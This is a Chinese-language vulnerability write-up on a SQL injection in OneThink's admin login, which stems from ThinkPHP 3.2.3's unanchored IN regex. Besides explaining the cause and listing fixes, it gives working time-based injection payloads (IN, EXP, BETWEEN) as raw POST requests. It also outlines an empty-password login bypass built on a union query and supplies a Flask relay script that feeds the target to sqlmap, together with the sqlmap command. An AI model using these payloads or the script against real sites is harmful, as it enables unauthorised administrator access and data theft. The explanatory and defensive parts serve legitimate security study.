OneThink前台注入分析
字数 788 2025-08-22 12:23:47

OneThink前台注入漏洞分析与利用

漏洞概述

OneThink是一款基于ThinkPHP框架开发的内容管理系统。在版本低于1.1.141212的OneThink中,存在一个前台SQL注入漏洞,攻击者可以利用该漏洞绕过后台登录验证,获取管理员权限。

漏洞分析

注入点定位

漏洞位于ThinkPHP 3.2.3框架的数据库查询逻辑中,具体在Model.class.phpDb.class.php文件中。

关键代码分析

  1. where条件处理 (Model.class.php):
public function where($where,$parse=null){
    if(isset($this->options['where'])){
        $this->options['where'] = array_merge($this->options['where'],$where);
    }else{
        $this->options['where'] = $where;
    }
    return $this;
}
  1. SQL语句构建 (Db.class.php):
protected function parseWhereItem($key,$val) {
    $whereStr = '';
    elseif(preg_match('/IN/i',$val[0])){ // IN 运算
        if(isset($val[2]) && 'exp'==$val[2]) {
            $whereStr .= $key.' '.strtoupper($val[0]).' '.$val[1];
        }else{
            if(is_string($val[1])) {
                $val[1] = explode(',',$val[1]);
            }
            $zone = implode(',',$this->parseValue($val[1]));
            $whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')';
        }
    }
    // 其他条件处理...
}

漏洞成因

  1. 正则表达式/IN/i没有使用^$定界符,导致xxINxx这种形式也能通过判断
  2. val[0]在IN后面可以构造任意内容,后续拼接导致SQL注入

漏洞利用

三种注入方式

  1. IN注入:
POST /index.php?s=/admin/public/login.html
username[]=in ('')) and (select 1 from (select sleep(4))x)--+-&password=2&verify=0x401

实际执行SQL:

SELECT * FROM `onethink_ucenter_member` WHERE ( `username` IN ('')) AND (SELECT 1 FROM (SELECT SLEEP(4))X)-- - () ) LIMIT 1
  1. EXP注入:
POST /index.php?s=/admin/public/login.html
username[0]=exp&username[1]=>(select 1 from (select sleep(3))x)&password=2&verify=0x401

实际执行SQL:

SELECT * FROM `onethink_ucenter_member` WHERE ( (`username` > (select 1 from (select sleep(3))x)) )
  1. BETWEEN注入:
POST /index.php?s=/admin/public/login.html
username[0]=BETWEEN 1 and ( select 1 from (select sleep(2))x)))--+-&username[1]=&password=2&verify=0x401

实际执行SQL:

SELECT * FROM `onethink_ucenter_member` WHERE ( (`username` BETWEEN 1 AND ( SELECT 1 FROM (SELECT SLEEP(2))X)))-- - '' AND null ) ) LIMIT 1

登录绕过分析

  1. 登录流程:
public function login($username, $password, $type = 1){
    $map = array();
    $map['username'] = $username;
    $user = $this->where($map)->find();
    if(is_array($user) && $user['status']){
        if(think_ucenter_md5($password, UC_AUTH_KEY) === $user['password']){
            return $user['id'];
        }
    }
}
  1. 密码验证绕过:
function think_ucenter_md5($str, $key = 'ThinkUCenter'){
    return '' === $str ? '' : md5(sha1($str) . $key);
}
  • 当密码为空时,加密结果也为空
  • 因此只需构造password=即可绕过密码验证
  1. 完整利用:
  • 使用联合查询构造11个字段(匹配onethink_ucenter_member表结构)
  • 设置status=1确保用户可用
  • 设置password=''以匹配空密码加密结果

自动化利用

Flask转发脚本

from flask import Flask,request,jsonify
import requests

def remote_login(payload):
    burp0_url = "http://one.think:80/index.php?s=/admin/public/login.html"
    burp0_headers = {"User-Agent": "Mozilla/5.0", "Accept": "application/json"}
    pay = ") =' {} ')-- -".format(payload)
    burp0_data = {"act": "verify", "username[0]": 'exp', "username[1]": pay, "password": "", "verify": ""}
    resp = requests.post(burp0_url, headers=burp0_headers, data=burp0_data, verify=False)
    return resp.text

app = Flask(__name__)
@app.route('/')
def login():
    payload = request.args.get("id")
    response = remote_login(payload)
    return response

if __name__ == '__main__':
    app.run()

SQLMap使用

python sqlmap.py -u http://127.0.0.1:5000/?id=1 --tech=B --dbms=mysql --batch

防御措施

  1. 升级到OneThink 1.1.141212或更高版本
  2. parseWhereItem函数中:
    • 添加严格的正则匹配/^IN$/i
    • 对输入参数进行严格过滤
  3. 使用预处理语句
  4. 对用户输入进行转义处理

参考链接

  1. ThinkPHP3.2.3框架实现安全数据库操作分析
  2. ThinkPHP3.2 框架sql注入漏洞分析
  3. OneThink RCE漏洞
OneThink前台注入漏洞分析与利用 漏洞概述 OneThink是一款基于ThinkPHP框架开发的内容管理系统。在版本低于1.1.141212的OneThink中,存在一个前台SQL注入漏洞,攻击者可以利用该漏洞绕过后台登录验证,获取管理员权限。 漏洞分析 注入点定位 漏洞位于ThinkPHP 3.2.3框架的数据库查询逻辑中,具体在 Model.class.php 和 Db.class.php 文件中。 关键代码分析 where条件处理 ( Model.class.php ): SQL语句构建 ( Db.class.php ): 漏洞成因 正则表达式 /IN/i 没有使用 ^ 和 $ 定界符,导致 xxINxx 这种形式也能通过判断 val[0] 在IN后面可以构造任意内容,后续拼接导致SQL注入 漏洞利用 三种注入方式 IN注入 : 实际执行SQL: EXP注入 : 实际执行SQL: BETWEEN注入 : 实际执行SQL: 登录绕过分析 登录流程 : 密码验证绕过 : 当密码为空时,加密结果也为空 因此只需构造 password= 即可绕过密码验证 完整利用 : 使用联合查询构造11个字段(匹配 onethink_ucenter_member 表结构) 设置 status=1 确保用户可用 设置 password='' 以匹配空密码加密结果 自动化利用 Flask转发脚本 SQLMap使用 防御措施 升级到OneThink 1.1.141212或更高版本 在 parseWhereItem 函数中: 添加严格的正则匹配 /^IN$/i 对输入参数进行严格过滤 使用预处理语句 对用户输入进行转义处理 参考链接 ThinkPHP3.2.3框架实现安全数据库操作分析 ThinkPHP3.2 框架sql注入漏洞分析 OneThink RCE漏洞